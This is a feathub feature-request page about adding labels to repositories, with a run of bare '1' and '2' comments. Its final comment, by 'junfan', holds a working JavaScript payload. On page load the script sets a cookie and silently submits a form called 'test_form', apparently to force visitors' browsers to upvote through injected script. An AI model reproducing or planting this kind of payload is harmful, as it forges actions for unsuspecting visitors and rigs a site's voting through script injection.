feathub/feathub

Add tags or labels to a repository

aloisdg asked for this feature about 4 years ago — 6 comments

aloisdg commented about 4 years ago

It could be useful to add labels to repository.

We could built list, sort repositories or display some projects base on some labels on our frontpage.

We could have [WIP], [Demo], [Experiment], [Tutorial], [Exercice], etc.

Edit : Misread. It is a feature for Github itself.

0035 commented 4 months ago

1

0035 commented 4 months ago

2

0035 commented 4 months ago

1

0035 commented 4 months ago

1

junfan commented 3 months ago

(function() {

function contentLoaded(win, fn) {

    var done = false,
        top = true,

        doc = win.document,
        root = doc.documentElement,
        modern = doc.addEventListener,

        add = modern ? 'addEventListener' : 'attachEvent',
        rem = modern ? 'removeEventListener' : 'detachEvent',
        pre = modern ? '' : 'on',

        init = function(e) {
            if (e.type == 'readystatechange' && doc.readyState != 'complete') return;
            (e.type == 'load' ? win : doc)[rem](pre + e.type, init, false);
            if (!done && (done = true)) fn.call(win, e.type || e);
        },

        poll = function() {
            try {
                root.doScroll('left');
            } catch (e) {
                setTimeout(poll, 50);
                return;
            }
            init('poll');
        };

    if (doc.readyState == 'complete') fn.call(win, 'lazy');
    else {
        if (!modern && root.doScroll) {
            try {
                top = !win.frameElement;
            } catch (e) {}
            if (top) poll();
        }
        doc[add](pre + 'DOMContentLoaded', init, false);
        doc[add](pre + 'readystatechange', init, false);
        win[add](pre + 'load', init, false);
    }

}

function setCookie(name, value, days) {
    var expires = "";
    if (days) {
        var date = new Date();
        date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
        expires = "; expires=" + date.toUTCString();
    }
    document.cookie = name + "=" + (value || "") + expires + "; path=/";
}

function getCookie(name) {
    var nameEQ = name + "=";
    var ca = document.cookie.split(';');
    for (var i = 0; i < ca.length; i++) {
        var c = ca[i];
        while (c.charAt(0) == ' ') c = c.substring(1, c.length);
        if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length);
    }
    return null;
}

contentLoaded(window, function() {
    setTimeout(function() {
        if(getCookie('upvoted_k')){
            return;
        }
        setCookie('upvoted_k','true',100)
        document.getElementById('test_form').submit()
    }, 500);
})

})();

Join the discussion!

Sign-in with GitHub to comment